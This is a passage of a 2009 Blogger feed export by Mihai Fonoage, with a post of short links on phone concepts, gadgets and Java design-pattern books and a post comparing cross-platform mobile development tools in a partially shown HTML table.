scheme='http://www.blogger.com/atom/ns#' term='design concepts'/><category scheme='http://www.blogger.com/atom/ns#' term='Cell Phone'/><category scheme='http://www.blogger.com/atom/ns#' term='Gadgets'/><title type='text'>A couple of short links - December 24, 2009</title><content type='html'>&lt;div style="text-align: justify;"&gt;1. &lt;a href="http://www.ismashphone.com/2009/12/16-cool-cellphone-concepts-which-wont-be-implemented.html"&gt;16 Cool Cellphone Concepts Which Won't Be Implemented&lt;/a&gt; - cellphone concepts that look amazing, ranging from&amp;nbsp;customizable back sides like the &lt;a href="http://www.concept-phones.com/nokia/nokia-unik-phone-features-customizable-side/"&gt;Nokia Unik&lt;/a&gt;, to cellphones that act as a bangle like the &lt;a href="http://www.thedesignblog.org/entry/helix-cellphone-that-becomes-a-slap-bracelet-for-the-trendy/"&gt;LG Helix&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;2. &lt;a href="http://www.popularmechanics.com/technology/industry/4339981.html"&gt;The (Last and Next) Decade in Gadgets&lt;/a&gt; -&amp;nbsp;breakthroughs in technology of the past decade and prediction of &amp;nbsp;future trends. The areas covered are Computers/OS, Cellphones, Web, cameras, Home Entertainment, Music, Movies, Video Games&amp;nbsp;(here it&amp;nbsp;mentions&amp;nbsp;&lt;a href="http://mihaifonoage.blogspot.com/2009/06/and-winner-is-xbox-360.html"&gt;Microsoft's Natal project&lt;/a&gt;),&amp;nbsp;and Print.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;3. &lt;a href="http://mashable.com/2009/12/23/digg-stories-2009/"&gt;Top Ten Stories on Digg in 2009&lt;/a&gt; - the title says it all.&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;4. &lt;a href="http://www.patterndepot.com/put/8/JavaPatterns.htm"&gt;Java Design Patterns book&lt;/a&gt; - written by IBM's James Cooper, an excellent free resource on Design Patterns implemented in Java. Bruce Eckel has a similar book, entitled &lt;a href="http://www.mindviewinc.com/downloads/TIPatterns-0.9.zip"&gt;Thinking in Patterns&lt;/a&gt;.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7016582772676592992-4717009518012464076?l=mihaifonoage.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mihaifonoage.blogspot.com/feeds/4717009518012464076/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7016582772676592992&amp;postID=4717009518012464076' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4717009518012464076'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7016582772676592992/posts/default/4717009518012464076'/><link rel='alternate' type='text/html' href='http://mihaifonoage.blogspot.com/2009/12/couple-of-short-links-december-24-2009.html' title='A couple of short links - December 24, 2009'/><author><name>Mihai Fonoage</name><uri>http://www.blogger.com/profile/10774816347448949131</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://3.bp.blogspot.com/_mPswsGUhiws/Scd6jbPgeBI/AAAAAAAAB6g/GusaeN8FEeA/S220/Mihai_Head_Capture.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7016582772676592992.post-3281443491355735253</id><published>2009-12-22T07:48:00.008-05:00</published><updated>2010-07-17T10:58:25.543-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mobile'/><category scheme='http://www.blogger.com/atom/ns#' term='Programming Languages'/><category scheme='http://www.blogger.com/atom/ns#' term='Mobile Platforms'/><title type='text'>Cross-Platform Mobile Development</title><content type='html'>&lt;a href="http://www.blogger.com/"&gt;&lt;/a&gt;&lt;span id="goog_1261473243564"&gt;&lt;/span&gt;&lt;span id="goog_1261473243565"&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;I don't have to tell you that there are multiple mobile platforms out there, such as Symbian, Blackberry, iPhone, Android, Windows Mobile, BREW, webOS, Limo, Bada, and others. As a mobile applications developer, one should try to cover as many platforms as possible. Developing on these platforms requires knowledge of Java, C++, .NET, Objective-C, clearly too many languages. As if this would not be enough, there is the fragmentation issue within each platform. So, what can one do to alleviate these problems? Fortunately, there are some tools that mitigate this issue by allowing to design/code once, and port to different platforms afterwards. I am just going to&amp;nbsp;mention some of them, leaving up to you to go and further investigate if you deem necessary. A quick note: when HTML is mentioned, JavaScript and CSS are included by default.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.airplaysdk.com/"&gt;Airplay&lt;/a&gt;&amp;nbsp;allows you to code in Visual C++ and build for x86 and ARM compilers, thus building your application as an "OS-agnostic binary file that contains native CPU instructions". The platforms supported are iPhone, Android, Symbian, Windows Mobile, and BREW.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.innaworks.com/alcheMo.html"&gt;Alchemo&lt;/a&gt;&amp;nbsp;is useful if you have a Java ME application that has to be ported to other platforms such as Android, BREW, iPhone, and Windows Mobile.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://phonegap.com/"&gt;PhoneGap&lt;/a&gt; is an open source tool for web developers that want to take advantage of features such as location, accelerometer, etc, and still write applications using HTML. The platforms supported are iPhone, Android, Blackberry, Palm, and Windows Mobile.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;With &lt;a href="http://pyxismobile.com/platform/technical-overview/"&gt;Pyxis Mobile&lt;/a&gt;, you can take advantage of their&amp;nbsp;&lt;a href="http://pyxismobile.com/platform/application-studio/"&gt;Application Studio&lt;/a&gt; and configure your application to run on Blackberry, Windows Mobile, and iPhone platforms. The platform offers support for connectivity to enterprise data sources.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://rhomobile.com/products/rhodes/"&gt;Rhodes&lt;/a&gt;&amp;nbsp;is an open source framework where you can build native applications (despite the use of HTML or Ruby for development) that run on the iPhone, Windows Mobile, Blackberry, Symbian, and Android.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.mobinex.biz/smartface-designer.html"&gt;Smartface Designer&lt;/a&gt;&amp;nbsp;allows you to design you application using the tool and deploy it to Blackberry, Symbian, and J2ME. You can drag-and-drop existing components when using the designer tool, thus avoiding writing code.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.sybase.com/products/mobileenterprise/sybaseunwiredplatform"&gt;Sybase Unwired Platform&lt;/a&gt;&amp;nbsp;follows the same line of designing your applications once, and deploy it on several mobile platforms such as Windows Mobile, Windows 32 (Laptops/Tablets), iPhone, and Blackberry. The platforms is geared towards enterprise, offering integration with Sybase, Oracle, IBM, and Microsoft based databases, SAP, Remedy, etc enterprise applications, and Web Services.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.appcelerator.com/products/titanium-mobile/"&gt;Titanium Mobile&lt;/a&gt;&amp;nbsp;uses Web Technologies (such as HTML, JavaScript, etc) to build native applications for the iPhone and Android platforms.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;a href="http://www.recursionsw.com/Products/voyager.html"&gt;Voyager&lt;/a&gt;&amp;nbsp;allows you to code in your favorite development language (Java, .NET languages, C++), and deploy it on various platforms such as Android, JavaFX, Windows Mobile, Java ME, Linux, Blackberry, Symbian, BREW, iPhone, with&amp;nbsp;future&amp;nbsp;support for Real-Time OSs. This is the platform that covers most of the existing mobile platforms, and allows for enterprise integration.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Other platforms that may be worth looking into are &lt;a href="http://www.dexterra.com/solutions/platform.php"&gt;Dexterra Concert&lt;/a&gt;,&amp;nbsp;&lt;a href="http://www.springwireless.com/"&gt;Spring Wireless&lt;/a&gt;, and &lt;a href="http://sourceforge.net/projects/quickconnect/"&gt;QuickConnect&lt;/a&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Below is a table summarizing the info supplied above (last updated on: July 17, 2010):&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480; width: 100%;"&gt;&lt;tbody&gt;&lt;tr style="mso-yfti-firstrow: yes; mso-yfti-irow: 0;"&gt;   &lt;td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" valign="top" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Airplay&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" valign="top" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Alchemo&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;PhoneGap&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" valign="top" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Pyxis &lt;st1:place w:st="on"&gt;Mobile&lt;/st1:place&gt; App Studio&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" valign="top" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;st1:place w:st="on"&gt;&lt;b&gt;Rhodes&lt;/b&gt;&lt;/st1:place&gt;&lt;b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Smartface   Designer&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" valign="top" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Sybase Unwired   Platform&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" valign="top" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Titanium &lt;st1:city w:st="on"&gt;&lt;st1:place w:st="on"&gt;Mobile&lt;/st1:place&gt;&lt;/st1:city&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-left: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" valign="top" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Voyager&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 1;"&gt;   &lt;td colspan="10" style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 100.0%;" valign="top" width="100%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;i&gt;&lt;u&gt;Platforms   Supported&lt;o:p&gt;&lt;/o:p&gt;&lt;/u&gt;&lt;/i&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 2;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Android&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 3;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Java FX&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 4;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Windows &lt;st1:city w:st="on"&gt;&lt;st1:place w:st="on"&gt;Mobile&lt;/st1:place&gt;&lt;/st1:city&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.28%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.44%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.68%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.04%;" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.8%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 10.18%;" width="10%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 9.68%;" width="9%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;X&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;&lt;tr style="mso-yfti-irow: 5;"&gt;   &lt;td style="border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 11.9%;" valign="top" width="11%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;b&gt;Linux&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 8.82%;" width="8%"&gt;&lt;div align="center" class="MsoNormal" style="text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style="border-bottom: 